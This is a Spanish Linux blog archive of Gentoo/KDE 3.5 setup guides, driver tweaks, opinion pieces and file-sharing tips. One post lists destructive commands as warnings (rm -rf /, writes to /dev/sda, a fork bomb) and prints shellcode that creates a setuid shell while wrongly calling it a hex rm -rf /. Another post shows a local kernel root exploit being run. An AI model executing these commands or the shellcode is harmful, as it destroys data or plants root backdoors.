
Hola, este blog dejara de dar actualizaciones a partir de ahora.
La nueva direccion es esta
Pero dejare este blog para que sigan consultando entre otras cosas, que quede claro que no lo actualizare mas!!!!
Saludos!!!

La nueva direccion es esta
Pero dejare este blog para que sigan consultando entre otras cosas, que quede claro que no lo actualizare mas!!!!
Saludos!!!
Como habran visto, kde ha dado pasos gigantes, el pero es que se ensucia su apariencia por tener todo instalado, en esas distros one-click and install (no todas), y no en todo pc andara las nuevas versiones, aunque se podria apagando todos los efectos, Akonadi, Nepomuk, etc
El gran pero es, que muchos kdeeros-old-style extrañan a kde 3.5.10, y similares, o sino no habria esfuerzos para hacer un fork e intentar mantener todo ese desktop manager, como el fork Trinity Desktop o a su semejanza pero mantenido por la gentooza, un overlay llamado kde-sunset, y parece que los esfuerzos no son en vano :3
Vamos con lo nuestro...
""recuerde: el kde resultante sera lo mas minimo posible, nada de kdm, alrededor de 32 a 34 paquetes, no 52, ni 300, que es todo este DE, aunque puedes añadir mas cosas ;), (y con bonus, un compiz-fusion lo mas pelado posible, aunque eso es opcional), si quiere que portage le pregunte si quiere instalar y ver todos los paquetes que instalara y las salidas añadir -av al emerge (#emerge -av paquete)""
Instalar Layman, muy necesario o sino no podras añadir el overlay y ni actualizarlo (hacer eso con sudo comando, o como root con su luego password de super-usuario)
no me gusta que todo los paquetes asocien a kde, arts esta de mas
editar con nano:
#nano /etc/make.conf
añadir con nano o su editor las siguientes USES:
-kde -qt3 -arts
guardar con ctrl+x en nano, o con ctrl+g, segun su editor que use.
Recuerde que si no existe el directorio /etc/portage lo tiene que crear:
#mkdir -p /etc/portage/
#echo "app-portage/layman git subversion" >> /etc/portage/package.use
emerger layman:
#emerge layman
luego hay que configurarlo, ( en versiones mas nuevas el directorio de layman no es /usr/local/portage/layman/ sino en /var/lib/layman/)
mostrar todos los overlays disponibles:
#layman -L
vamos a añadir esta:
#layman -a kde-sunset
esperas, tardaria un poco, si son mas de 350 paquetes de kde, incluyendo al qt-3.3, y segun la coneccion que tengas....
si sale todo bien saldra esto:
* Successfully added overlay "kde-sunset"
Importante: añadir el overlay para que portage lo tome, o se quejara:
#echo "source /var/lib/layman/make.conf" >> /etc/make.conf
#env-update && source /etc/profile
kdelibs da error con openssl 1.0 usar la version de testing, tambien kcontrol añadir a /etc/portage/package.keywords:
nano /etc/portage/package.keywords
añadir:
kde-base/kdelibs
kde-misc/kdnssd-avahi
=kde-base/kcontrol-3.5.10-r1
=kde-base/kopete-3.5.10-r6
(bueno, la version mas nueva del ebuild de kopete tiene mas parches para andar con el WLM nuevo, entre otras) opcional
guardar el archivo, segun su editor que uses..
no me gusta tener todo el soporte instalado de qt sobre mysql y cups, asi que:
añadir en /etc/portage/package.use:
=x11-libs/qt-meta-3.3.8b-r2 -mysql -cups
kde-base/kdelibs -cups legacyssl utempter
net-dns/avahi qt3
lo de avahi es importante tenerlo con USE qt3 activado, o tendra lios...
guardar el archivo, segun su editor que uses..
(kdelibs con la use legacyssl compila ok, y la use utempter permite tener acceso a utmp sin lios ;))
Un truco que me pille en gentoo forums, como enmascaras kde4, si es que eres de esos que no quieren nada, ni con las qt4...
#cd /usr/portage/kde-base && find . -name \*ebuild | grep 4.6.5 | sed -e 's:.*/:kde-base/:;s/-4.6.*/:4/' >> /etc/portage/package.mask
asi nada de kde4, ni demas cuando se actualize el sistema o se haga emerge -uDNav world, o similar.
ahora no vamos a instalar todo kde, sino la base minima para funcionar:
#emerge kde-base/kdebase-startkde kde-base/kde-i18n
el ultimo paquete es para tener el soporte en español en esta version, ademas para españolizar las apps
esto va a tardar un rato, segun la antiguedad de su pc, o si tienes un quadcore, y emergiendo, no tardaria casi nada.
si todo salio bien y sin errores. añadir en el fichero .xinitrc o crearlo (solo para los que arrancan con startx)
$echo "exec /usr/kde/3.5/bin/startkde" >> .xinitrc
si usas GDM, se puede hacer lo siguiente, con el mismo efecto:
#nano /usr/share/xsessions/kde3realive.desktop
[Desktop Entry]
Encoding=UTF-8
# This is the name you'll see for the session in gdm
Name=Kde3 Realives
# This is the comment
Comment=Kde3 in 2011 on gentoo
# The command
Exec=/usr/kde/3.5/bin/startkde
Type=Application
guardar los cambios con su editor que prefiere.
reiniciar, gdm, o si usas startx, solo salir de la sesion, o a la bestia (algo sera):
$killall -9 X
Ahora tendra un al gran y honorable KDE 3.5.10 andando en el 2011, por la CTM!!!, aplauda, ni idea, baile, o lo que se le ocurra :P (hasta ahora es un kde 3.5.10 sin efectos, ahora vamos por lo de compiz-fusion, que es opcional, si no quiere no lo instale!!!, si quiere seguir.. Asumo que ya tiene aceleracion 3d activada, y funcionando bastante bien, para checkearlo Compiz-check)
a mi me dio ok, en todo:
[dexter4@Kagamine:~]% ./compiz-check
Gathering information about your system...
Distribution: Gentoo
Desktop environment: KDE
Graphics chip: ATI Technologies Inc RV350 AP [Radeon 9600]
Driver in use: radeon
Rendering method: AIGLX
Checking if it's possible to run Compiz on your system...
Checking for texture_from_pixmap... [ OK ]
Checking for non power of two support... [ OK ]
Checking for composite extension... [ OK ]
Checking for FBConfig... [ OK ]
Checking for hardware/setup problems... [ OK ]
Siga lo siguiente:
añadir lo siguiente en el fichero /etc/portage/package.keywords
dev-libs/protobuf
dev-util/intltool
dev-python/compizconfig-python
x11-apps/ccsm
x11-libs/libcompizconfig
x11-libs/compizconfig-backend-gconf
x11-libs/compizconfig-backend-kconfig4
x11-libs/compiz-bcop
x11-plugins/compiz-plugins-main
x11-plugins/compiz-plugins-extra
x11-plugins/compiz-plugins-unsupported
x11-themes/emerald-themes
x11-wm/compiz
x11-wm/compiz-fusion
x11-wm/emerald
guarde el fichero con nano, u otro editor.
dejar el soporte de emerald, el decorador de ventanas y no tener soporte para kde y gnome, claro para aligerar a ese compiz!!!
#echo "x11-wm/compiz-fusion emerald -kde -gnome" >> /etc/portage/package.use
emerger compiz, y fusion-icon
#emerge compiz-fusion fusion-icon
deje que compile, una vez terminado..
iniciar compiz con fusion icon, invocar con:
$fusion-icon &
Añadir al autoinicio al fusion icon, crear el fichero cargar, o el nombre que quiera, en mi caso cargar, en el directorio .kde/Autostart de su directorio home:
con nano o similar.. añadir esto:
#!/usr/bin/env bash
fusion-icon &
gkrellm -g +1232+0 &
Gkrellm en mi caso, si usas conky lo reemplazas por: conky &, es importante los & o sino no arrancaran las aplicaciones en segundo plano y no se verian :/
PD: si kopete da lios con jingle y portage se queja de la use, solo hay que añadir esto:
#echo "kde-base/kopete -jingle" >> /etc/portage/package.use
si quiere soporte para msn, jabber (xmpp) e irc, quedaria asi:
#echo "kde-base/kopete msn irc -jingle jabber" >> /etc/portage/package.use
qca se actualiza a la version 2 y me lia todo el kde y quiere actualizar a la version 4, claro si querias el kopete del 3.5.., añadir lo siguiente en /etc/portage/package.mask:
#echo "app-crypt/qca:2" >> /etc/portage/package.mask
Solo si usas gkrellm: no se ve en todos los escritorios, sale en la barra de tareas, me tapa las ventanas :S...
Invocar ccsm, o desde el fusion icon Settings Manager, ir a Window Rules o Regla de ventanas, es lo mismo, añadir en estos apartados: ( si su conky hace lios, tambien esto le servira, solo cambiar la clase por Conky):
Saltar en la barra de tareas: class=Gkrellm
Omitir Paginador: class=Gkrellm
Pegajoso: class=Gkrellm
Ventanas Inamovibles: class=Gkrellm
En Gkrellm, click derecho, configuracion, Pestaña propiedades:
Activar estado pegajoso, activar la opcion
Situar debajo de otras ventanas del mismo tipo, activar la opcion
No suena kde!!!. Claro al no tener soporte de arts, el demonio de sonido de la version 3.5 se pierde los sonidos de kde, pero hay una manera para recuperarlo:
Menu K, preferencias, sonido y multimedia, notificaciones del sistema, preferencias de reproduccion, cambiar la opcion usar aplicacion externa, añadir "ogg123" (sin comillas) en reproductor, aplicar, ahora prueba cualquier sonido, y cha chan!! suena de nuevo !!
Tener sesion vacia: Ir a menu K, preferencias, Componentes de KDE, Gestor de Sesiones, en el apartado al acceder, cambiar la opcion por Comenzar por una sesion vacia. Les sirve para evitar la lentitud, cuando arranca y tenias muchas apps corriendo.
Ahora el resultado final, segun mis configuraciones, no necesita tenerlo igual o demas :)

Espero que les haya sido Util :)
Hola, aca les traigo una lista de comandos peligrosos para GNU/Linux para evitar que les pase algo y pierdan a su precisosa distro :)
Mirar pero no ejecutar nunca como root !!:
cat /dev/urandom > /dev/sda
Mala idea, ese comando lo que hace es pasar todos los datos de urandom, al bloque del disco duro, causando que pierdas los datos y las particiones.
rm -rf /
El conocido comando mortal, este borra absolutamente todo lo que este, incluso los datos de otras particiones si es que estan montadas.
chmod -R 777 /
Chmod es una muy buena herramienta para asignar permisos, pero nunca ejecutar asi, eso dañaria la instalacion de su distro y al reiniciar seria irrancable, lo bueno es que los datos del directorio home al estar con el permiso universal 777 se pueden recuperar, pero nada mas :S desde un live cd.
dd if=/dev/random of=/dev/port
Menos mortal, pero si te puede dar molestias. Al pasar los datos de /dev/random a /dev/port causaras un kernel panic, con reinicio regresa a la normalidad.
mv /home/yourhomedirectory/* /dev/null
Esto te pasara los datos de tu home a un punto nulo /dev/null (el agujero negro de Unix), y no los podras recuperar mas
chmod 000 -R /
Otra variante del chmod usado mal, ahora el permiso 000 te denegara el acceso a todo :S, no ejecutar nunca.
char esp[] __attribute__ ((section(".text"))) /* e.s.p
release */
= "xebx3ex5bx31xc0x50x54x5ax83xecx64x68"
"xffxffxffxffx68xdfxd0xdfxd9x68x8dx99"
"xdfx81x68x8dx92xdfxd2x54x5exf7x16xf7"
"x56x04xf7x56x08xf7x56x0cx83xc4x74x56"
"x8dx73x08x56x53x54x59xb0x0bxcdx80x31"
"xc0x40xebxf9xe8xbdxffxffxffx2fx62x69"
"x6ex2fx73x68x00x2dx63x00"
"cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;";
Version Hexadecimal del rm -rf /, puede pasar desapercibida hasta en los usuarios mas expertos, ni se les ocurra ejecutarla.
mkfs.ext3 /dev/sda
Esto elimina los datos del dispositivo seleccionado, no hacerlo o perderan sus datos.
cat /dev/input/mouse0 > /dev/sda
Otro comando peligroso, la peor manera de sacar la salida del raton, esa va directo al /dev/sda y con ello la perdida de datos, particiones, muy peligrosa.
:(){ :|:& };:
Una conocida Bomba Fork, lo que hace es crear muchos procesos hasta colapsar al sistema, y con ello obliga al reinicio del sistema, y en el peor de los casos, perdida de datos.
chmod -x chmod
Esta tambien causa que el sistema quede en mal estado.
Recuerden nunca ejecutar esos comandos como root u de otra manera o sino les causara problemas, dolores de cabeza y lo peor perdida de datos.
Un ya reconocido exploit uno de tipo local exploit permite obtener a root, desde el kernel 2.6.30, en muchos que no han sido parcheados o sea vanilla aun funciona en esos...
En mi caso no funciono, lo probe en el nuevo kernel 3.0 en Gentoo, para ser exactos el 3.0_rc3.
Requerimientos:
Tener el paquete build-essential en debian o derivados ya instalado (en Gentoo ya viene con todo lo necesario ya):
#apt-get install build-essential
luego:
$gcc exploit.c -o exploit
probar:
[dexter4@Kagamine:~/Descargas_Opera/cheddar_bay]% ./exploit
[+] MAPPED ZERO PAGE!
[+] Resolved nf_unregister_hooks to 0xc13e0df6
[+] Resolved commit_creds to 0xc1033767
[+] *0x2c |= 1
[+] b00m!
[+] Disabled security of : nothing, what an insecure machine!
[+] Failed to get root :( Something's wrong. Maybe the kernel isn't vulnerable?
[dexter4@Kagamine:~/Descargas_Opera/cheddar_bay]% uname -a
Linux Kagamine 3.0.0-rc3 #1 PREEMPT Wed Jun 15 16:47:18 CLT 2011 i686 Intel(R) Pentium(R) 4 CPU 1.60GHz GenuineIntel GNU/Linux
al final no pudo obtener root, en mi caso pero casi fue, recuerden no hacer trampa y cerrar toda sesion de root anteriormente :)
Recuerden no abusar de los exploit, es solo para fines de aprendizaje, o similar...
http://www.kernel.org/pub/linux/kernel/v2.6/linux-2.6.39.tar.bz2
Fuente: The H-Open
PD : aun no solucionan el problema de energia con los portatiles, para el 2.6.40 deberia de estar de solucionado, eso espero. por ahora puedes saldarlo usando otro sheduller como el BFS, etc ...
Si se habran fijado Internet Explorer 9 anda mejor en maquinas windows, pero tiene fails como este:
Una descripcion de seguridad que dice:
Dice: Proteccion contra el hardware malicioso (malware), deberia decir: Proteccion contra el software malicioso (malware) xDDDDDD, salia en la pagina en español que describia eso
Y este Fallo: decia hasta cerrar windows explorer (Fail!!):

Ya era hora de actualizar nuestros drivers de la tarjeta gráfica. ATI acaba de liberar una actualización mayor para poder soportar nuevas tarjetas, mejorar el rendimiento de las anteriores y añadir opciones que en entornos de software libre no funcionaban. La nueva versión (6.14.0) de los drivers de X.Org añaden soporte a las Radeon HD 5000 series, Radeon HD 6000 series, y al hardware AMD Fusion Ontario.
Via: Phoronix
Ps: andan mejor, pero hay un bug, cuando abres una terminal como urxvt, la pantalla sale destruida y no queda mas remedio que reiniciar las X, con las demas terminales ok, y al compiz-fusion se le fue ese problema de refresco en que a veces las ventanas no recargaban
Update: si se añade en la seccion device la opcion en /etc/X11/xorg.conf:
Option "ColorTiling" "False"
reiniciar las X
se va el garbage al abrir la urxvt, y funciona normal
Esta solución es sólo para el driver libre "radeon", osea en tarjetas que funcionen con este driver de manera "óptima", tanto 2d como 3d, como por ejemplo desde la ATI 7x00 hasta las 9x00 y personalmente la he probado en la radeon 9600 y se nota la diferencia para editarlo en la consola pongan:
#gedit /etc/X11/xorg.conf
o si quieren nano u otro editor:
Section "Device"
Ubiquen las seccion "Device" las lineas que tienen que agregar son "AccelMethod" y "MigrationHeuristic", la opcion greedy la cambie por always, ya que me tope con esa opción de pura casualidad, y me dio mejores resultados que greedy, pero pueden probar ambas, sobre las otras opciones que están ahi les digo que no es necesario ponerlas pero igual pueden ir probándolas, ya que a mi me han dado buenos resultados. (desde xorg 1.8 "MigrationHeuristic" por defecto es always) (desde xorg 1.7, "AccelMethod" EXA esta activada por defecto.. y segun la tarjeta grafica) Al final guardan los cambios y reinician el pc o el entorno grafico :P
Antes que todo deben instalar driconf, segun la distro, se instala con:
Debian o basadas:
#apt-get install driconf
Gentoo:
#emerge -av driconf
ya instalada al ejecutar, nos saldria algo parecido a esto:
En Tuberia TLC, poner: "Usar TCL por hardware en la primera face de la tuberia TCL", no usar "usar tuberia tlc por software", o sino muchas aplicaciones 3d harian parpadeos, incluyendo al compiz-fusion, tener cuidado al tocar el resto de las secciones del driconf.
Para ver si tienen aceleracion 3D ejecutar:
$glxinfo |grep direct
direct rendering: Yes
$glxinfo |grep renderer
OpenGL renderer string: Mesa DRI R300 (RV350 4150) 20090101 TCL DRI2
(el renderer puede variar un poco segun la tarjeta ATI)
Si da otra cosa como software renderizer = no tienes aceleracion 3D
Ejecutar en una consola glxgears:
$glxgears
Running synchronized to the vertical refresh. The framerate should be
approximately the same as the monitor refresh rate.
297 frames in 5.0 seconds = 59.261 FPS
300 frames in 5.0 seconds = 59.792 FPS
si tienes activado KMS desde el kernel, el glxgears puede mentir en cierta manera y dar la tasa de refresco, o sea glxgears no es el mejor beenmarker en los tiempos de hoy, para ello instalen openarena u otro juego que pida aceleracion 3D, si les anda bien, y sin saltos, ok, sino habra que revisar lo que paso
Espero que les sirva ;)
Fuente.. varias recompilaciones de varios sitios y readaptaciones
Los síntomas típicos de aquellos usuarios que padecen de Windowitis derivan de la salida y mudanza brusca de Windows (o cualquiera de sus bacterias, sea de morfología XP o Vista), por varios motivos que no vienen al caso nombrarlos, hacia la llegada de ésta persona a alguna Distribución GNU/Linux, generalmente dada en los casos más severos en Ubuntu. Nombrando algunos síntomas que considero importantes, la Windowitis inflama a los usuarios de GNU/Linux que ya han sido curados debido a que el enfermo presenta los siguientes estadios de la enfermedad, a saber:
Todo Software debe poder instalarse en GNU/Linux:
Cuando un usuario se acostumbra a convivir con la Windosis, estima que cualquier aplicación que viva sobre la faz de La Tierra tiene que poder instalarse en cualquier Distribución GNU/Linux. Algunos han desarrollado vacunas como la vacuna Wine, que pacifica esas ansias de correr cualquier .exe sobre el Sistema del Pingüino, pero no es una cura por asi decirlo "nativa".
"Siguiente - Siguiente - Siguiente":
Otra de las malas costumbres que acarrea vivir con la Windowitis es imaginar encontrarse en GNU/Linux con la facilidad de instalación de un Programa en GNU/Linux, aunque mucho se haya avanzado en éste campo. Algunos usuarios aun siguen apostando y poniendo "la chapa" como mejor Sistema Operativo a Windows por el hecho de su facilidad para instalar cualquier Software, y quedan estancados en él, pero éstos usuarios al tener fuertes principios no son el mayor problema.
Alto nivel de contagio:
Un usuario que esta infectado por Windowitis generalmente infecta a otros, ya sea vía MSN, vía mail, vía "puedo-instalar-cualquier-soft.exe", entre otras causas. Los otros usuarios de Windows, aquellos que tienen firmes fundamentos de quedarse con el Sistema Operativo de Microsoft, son firmes candidatos a ser infectados con innumerables tipos de virus por los que sufren de Windosis.
No se respetan los Orígenes de Software:
Uno de los síntomas más críticos. Cuando la Windowitis es muy aguda, se presentan cuadros de locura por instalar cualquier Software sin antes consultar la legitimidad y respaldo que ese programa tiene por la comunidad GNU/Linux. En el caso de los insalubres usuarios de Ubuntu y derivados, instalan cualquier software .deb, sin antes consultar la legitimidad de tal aplicacion. Siempre, los recuperados de la Windowitis recomendamos únicamente instalar desde repositorios oficiales de la Distribución, ya que éstas "farmacias" por así decirlo son las que tienen el Software legitimado, las que aportan a la Comunidad una fortaleza y confianza en que el Software en sus Listados o Repositorios es totalmente seguro. Éste síntoma también atrae stress a los usuarios de otras Distribuciones que tambien sufren de ésta enfermedad, cuando para aliviar la Windowitis con pequeñas dosis, cualquier desarrollador genera paquetes para la Windowitis Ubuntera, los miles de .deb, no asi respetando la paquetería para otras Distribuciones.
En tal caso, aquellos pacientes que les haya sido recomendado el uso de una Distribución GNU/Linux, deberá tener estos aspectos en cuenta, ya que comprendiendo la vacuna de GNU/Linux podrán subsanar su hambre de Windowitis que tantos problemas les puede ocasionar a futuro y sanarse de la noche a la mañana.
Como última recomendación, les recuerdo que la vacuna al mal de la Windowitis no es GNU/Linux, si no el mismo afectado y su forma de ver las cosas, comprender levemente su funcionamiento como Comunidad, o bien si le interesa al usuario, como Sistema Operativo.
Nota: segun la capacidad del dispositivo puede tardar horas en terminar eso (es una especie de formateo de bajo nivel)
Tambien puedes usar gparted para ello y seleccionar al /dev/sdb1 o segun el caso, y crearle una nueva tabla de particiones y formatearla :)

Mi compi Picajoso ya ha escrito sobre la nueva versión de Gentoo. No os voy a comentar las novedades ni lo que ya ha comentado Picajoso. Os voy a recomendar probar Gentoo.
Para los que no conozcáis Gentoo, es una distribución que se compila casi desde el principio, algo similar a Linux From Scratch (LFS). La principal diferencia entre Gentoo y LFS es que Gentoo te ofrece un sistema básico desde el que puedes empezar. Este sistema básico te instala librerías, compilador y algunas herramientas básicas como por ejemplo editores. En el caso de LFS, no te trae nada precompilado y es un sistema operativo que te tienes que compilar desde un principio, aunque existe el proyecto ALFS (Automated Linux From Scratch, Linux From Scratch automatizado) que facilita la tarea de recompilar todo :)
Mucha gente preguntará:
Bueno, la respuesta principal es: para aprender. Algunos pensarán: “Buah! Para eso ya he ido/voy al cole/Universiadad/…”. Correcto, en estos centros nos enseñan cosas, pero no todo se aprende allí. Este tipo de distribuciones nos permiten aprender:
Voy a centrarme principalmente en el punto “que el compilador NO lo es todo” aunque también voy a hablar sobre algunas herramientas.
Es importante tener en cuenta que el compilador NO lo es todo, aunque sí es una parte muy importante. Mucha gente cree que la gran ventaja del software libre es que, al tener el código fuente y el compilador, puedo hacer lo que me da la gana. Esto no es cierto. Hay que saber programar muy bien y conocer muy bien cómo funciona un compilador para “hacer lo que me da la gana”.
Muchas veces, se ve en los foros de Gentoo las miles de opciones que algunas personas le pasan al compilador para compilar su sistema. Esto es muy peligroso ya que puede provocar que el sistema sea inestable, pierda rendimiento, … Debido a que las opciones que le hemos pasado al compilador son incorrectas. Un buen enlace para leer en este caso es este.
Una recomendación que os hago es: no exageréis las opciones del compilador. Muchas veces lo que os viene por defecto funciona perfectamente y no hace falta nada más. Sí es cierto, que otras veces por ejemplo, en el mundo HPC/Supercomputación, sí hace falta recompilar determinada aplicación y/o librería con determinadas opciones ya que se conseguirán mejoras interesantes, pero no todos estamos dedicados al 100% al mundo del HPC ;)
Lo primero que tenemos que hacer es: conocer bien nuestro hardware. Esto es muy importante porque las opciones que le pasaremos al compilador dependerán mucho de nuestro hardware.
Luego tendremos que leernos el manual de GCC, ese gran compilador que usa Linux por defecto. Pero OJO, hay que leerse la documentación de la versión que vamos a usar !!! ;)
Una vez que sabemos qué hardware vamos a usar y haber leído la documentación correspondiente de GCC, hay que usar unas opciones “lógicas” respecto a lo que estáis haciendo. Por ejemplo, para el sistema base, las opciones que vienen por defecto (-O2 -march=i686 -pipe) son más que suficientes (la opción -march dependerá de la arquitectura que estemos usando). Podremos añadir nuevas opciones al compiladro en función del paquete que estemos compilando, siempre asegurándonos con la documentación de GCC y la del paquete (sin olvidarnos de las listas de correo) que todo es correcto.
“Vaya … si el GCC tiene “minolles” de opciones y tu me estás diciendo que use 3 de ellas … ¿para qué tiene tantas?” Bueno, las opciones que tiene GCC o cualquier otro compilador muchas veces son para situaciones específicas. Determinadas aplicaciones/situaciones requieren dichas opciones, pero no todas.
“¿Entonces eso de que Gentoo es más rápida y más mejor es una milonga?” No, lo que pasa es que para que sea “más mejor” no hay que abusar o centrarse en el compilador, un sistema operativo tiene mucho más.
¿Dónde está realmente la potencia de Gentoo? Muy sencillo, en la variable de entorno USE. USE es una variable de entrono que nos permite definir qué queremos y qué no queremos que se compile. Por ejemplo, a mi no me gusta GTK ni GNOME (soy lo que los norte americanos llamarían un KDE die-hard), así que deshabilito todo aquello relacionado con GTK y/o GNOME. Es decir, puedo decidir qué opciones se compilan en un determinado paquete o si se va a soportar tal o cual propiedad. Otro ejemplo es que puedo compilarme el kdegraphics sin soporte para scanner porque no tengo.
Muchos pensarán: “pues no me instalo en GNOME o los paquetes para scanner y ya está”. Pues no, ya que aunque no te instales el sane, tu KDE ha sido compilado con soporte para scanners, luego te va a incluir un montón de librerías que no quieres/necesitas.
La variable USE se define en el fichero /etc/make.conf y se define de la siguiente manera:
USE="palabras clave separadas por espacios"
Para una definición mucho más extensa, echad un vistazo a este enlace. Para una lista de una gran mayoría de palabras clave que se pueden usar en la variable USE, podéis acceder a este enlace. Cuando digo “gran mayoría”, quiero decir a muchas, pero no todas ;)
La variable USE puede definirse de una forma tan sencilla como:
USE="-gtk -gnome kde qt3"
O bien complicarla como:
USE="-3dfx -3dnow X Xaw3d a52 aac aalib -accessibility acl acpi -adabas -adns -afs -aim alsa -altivec ao -apache2 apm arts -atm audiofile avahi bash-completion -bcmath berkdb -bidi bindist -birdstep -blas bluetooth -boundschecking bzip2 -cairo calendar -canna caps -cdb cddb cdinstall cdparanoia cdr -cgi -chasen -cjk clamav cracklib crypt cscope css ctype cups curl curlwrappers -cvs cxx -db2 dbase dbm -dbmaker dbus dbx -debug -dedicated dga directfb djvu -doc dri dts dv -dvb dvd dvdr dvdread -eds -emacs -emboss -empress -empress-bcs encode enscript esd -esoob -evo -examples exif expat fam -fastcgi fbcon ffmpeg -fftw -filepro -firebird firefox flac flatfile fltk fontconfig foomaticdb fortran -freetds -freewnn -frontbase"
Si os fijáis, un guión (-) antes de la palabra clave significa que deshabilito el soporte para dicha función o dicho paquete.
“Pero … ¿y si mañana me compro un scanner?” Muy sencillo (y aquí viene otra de las grandes utilidades de Gentoo), añades scanner a la variable USE y recompilas. “¿Recompilo el qué? ¿Todo?” Depende … deberías recompilar todo aquello que se pueda ver afectado por esta novedad. “Pos vaya rollo”. Sí y no, sí porque tienes que recompilar y no porque así sabes de qué componentes está formado tu sistema y las dependencias que tienen unos de otros
Gentoo ha resuelto esto de recompilar “todo” de una manera muy sencilla. Tiene una herramienta en línea de comando que es:
revdep-rebuild
Nota: si alguna vez revdep-rebuild te lia y te pide reinstalar cosas que ya estan recompiladas ya anteriormente con revdep-rebuild (sobretodo los que usen ~x86 o una version de SandBox unstable
revdep-rebuid -i
la opcion i hace que se limpie e ignore la cache de revdep-rebuild, util si se te corto la recompilacion de los paquetes y no te pida reinstalar lo que ya se recompilo
Básicamente lo que hace es escanear tu sistema y si ve que has cambiado una librería y que un paquete determinado debería ser recompilado … lo recompila.
Existe otra opción también cuando cambias la variable USE que es:
emerge --update --deep --newuse world
Nota: Se puede acortar asi:
emerge -uDNav world
que es lo mismo que he puesto
emerge es la herramienta de gestión de paquetes y gestión de la compilación de dichos paquetes. Si quieres instalar un paquete, lo que tecleas es:
emerge nombre_del_paquete
Entonces emerge descarga el código fuente, lo compila y lo instala.
Nota: se puede ver que paquetes se instala x paquete y ver todo en modo verbose, y ademas preguntar si instalar o no:
emerge -av nombre_del_paquete
En el ejemplo que os he puesto arriba, lo que haría emerge es comprobar si las variaciones que hemos hecho a la variable USE afectan a algún paquete en cuestión y, si el paquete se ve afectado, lo recompila. Como podéis ver en la captura de pantalla que pongo abajo, en mi caso habría que recompilar 49 paquetes. Las palabras clave en verde son novedades, las que están en rojo son las que hemos utilizado en una compilación anterior y las que están en azul son las que hemos marcado con un guión (-).
Antes de acabar, unos consejos:
Fuente
Hablando con mi colega como siempre en #supremos, con BePhantom... hablando de mp3 mas que nada y p2p. Por que no tenia un tema que yo si lo tenia en la red p2p que uso frecuentemente, la cosa era pasarlo a su pc; pense... que podía usar?, y tengo Droopy, Bashare.... me dije usare Bashare para pasarle el tema feo «survivor - the karate kid - the moment of truth.mp3»
Pero me sorprendió luego que se lo pase, con este método muy efectivo, que me explico como se usa, lo active y le compartí mi carpeta de mp3, vídeos, hasta escuchaba música con mis archivos y me veía las pelis con este método.Vamos a la carpeta que queremos compartir y entramos en ella, ejem:
cd Música
entramos a la carpeta música
python -m SimpleHTTPServer 8000
activamos el SimpleHTTPServer en el puerto 8000, puede ser cualquier otro puerto
Le pasamos la IP 201.250.226.999:8000 a un amigo de confianza, abrimos el puerto, que vamos a usar, en mi caso lo abrí con gufw y sorpresa!
El chambon estaba mirando mi carpeta compartida y escuchando mi musica, me critico el hdp por que tenia Gardel el muy forrazoPara que pueda usar el SimpleHTTPServer sin que por error cierre la terminal y se deje de compartir debe agrear al final el "&"
ejemplo:
python -m SimpleHTTPServer 8000
si cerras la terminal se para el server
python -m SimpleHTTPServer 8000 &
con el "&" al final por mas que cerremos la terminal el server continuara en ejecucion; para matar este proseso es sencillo.
ps aux | grep py
buscamos una linea parecida a esta:
mama 20913 0.0 0.5 7268 4516 pts/1 S 06:08 0:00 python -m SimpleHTTPServer 8000
y le damos... (20913=PID esta despues de tu user)
kill -9 20913
cerramos el puerto y queda como antes nuestra pc.
# /etc/X11/xorg.conf (xorg X Window System server configuration file)
# Xorg Generico, mejorado por DJ_DEXTER
# psdata: si los graficos andan lento es porque usa el driver generico Vesa
# soporta la gran mayoria de los monitores
Section "Files"
FontPath "/usr/share/fonts/X11/misc"
FontPath "/usr/X11R6/lib/X11/fonts/misc"
FontPath "/usr/share/fonts/X11/cyrillic"
FontPath "/usr/X11R6/lib/X11/fonts/cyrillic"
FontPath "/usr/share/fonts/X11/100dpi/:unscaled"
FontPath "/usr/X11R6/lib/X11/fonts/100dpi/:unscaled"
FontPath "/usr/share/fonts/X11/75dpi/:unscaled"
FontPath "/usr/X11R6/lib/X11/fonts/75dpi/:unscaled"
FontPath "/usr/share/fonts/X11/Type1"
FontPath "/usr/X11R6/lib/X11/fonts/Type1"
FontPath "/usr/share/fonts/X11/100dpi"
FontPath "/usr/X11R6/lib/X11/fonts/100dpi"
FontPath "/usr/share/fonts/X11/75dpi"
FontPath "/usr/X11R6/lib/X11/fonts/75dpi"
# path to defoma fonts
FontPath "/var/lib/defoma/x-ttcidfont-conf.d/dirs/TrueType"
EndSection
Section "Module"
Load "bitmap"
Load "dbe"
Load "ddc"
Load "dri"
Load "extmod"
Load "freetype"
Load "glx"
Load "int10"
Load "vbe"
EndSection
Section "InputDevice"
Identifier "Generic Keyboard"
Driver "kbd"
Option "CoreKeyboard"
Option "XkbRules" "xorg"
Option "XkbModel" "pc105"
Option "XkbLayout" "es"
EndSection
Section "InputDevice"
Identifier "Configured Mouse"
Driver "mouse"
Option "CorePointer"
Option "Device" "/dev/input/mice"
Option "Protocol" "ImPS/2"
Option "Emulate3Buttons" "true"
EndSection
Section "Device"
Identifier "Mi placa de emergencia"
Driver "vesa"
Option "UseEDID" "False"
Option "PanelSize" "1024x768"
EndSection
Section "Monitor"
Identifier "Monitor de emergencia"
HorizSync 30-71
VertRefresh 50-160
EndSection
Section "Screen"
Identifier "Default Screen"
Monitor "Monitor de emergencia"
Device "Mi placa de emergencia"
DefaultDepth 24
SubSection "Display"
Depth 24
Modes "1024x768" "800x600"
EndSubSection
EndSection
Section "ServerLayout"
Identifier "Default Layout"
Screen "Default Screen"
InputDevice "Generic Keyboard"
InputDevice "Configured Mouse"
EndSection
Section "DRI"
Mode 0666
EndSection
Daniel Robbins, el creador original de la distribución Gentoo, hace en su blog un recuento de los orígienes de esa distribución para tratar de encontrar la fecha de su aniversario.
Recapitaulando desde los años anteriores a la creación su primera distribución Enoch a mediados de 1999, Robbins recuerda como a finales de ese mismo año le cambió el nombre al actual "Gentoo" incorporando además algunas ideas muy originales como el sistema de paquetes Portage inspirado en los ports de FreeBSD.
En el 2000 aparecieron las versiones preliminares de Gentoo 1.0, en el 2001 el sitio web y el logo de Gentoo diseñado por el mismo Robbins, que incluso es el mismo que se usa hoy en día, y finalmente en el 2002 fue lanzada la versión definitiva de la histórica Gentoo 1.0, un hito que aquí mismo en VivaLinux! nos encargamos de comentar.
Así es que Robbins declara que "finales del 2009" es el aniversario oficial número 10 del nacimiento de Gentoo; y que si hay suficiente interés, un comité para los festejos podría organizarse...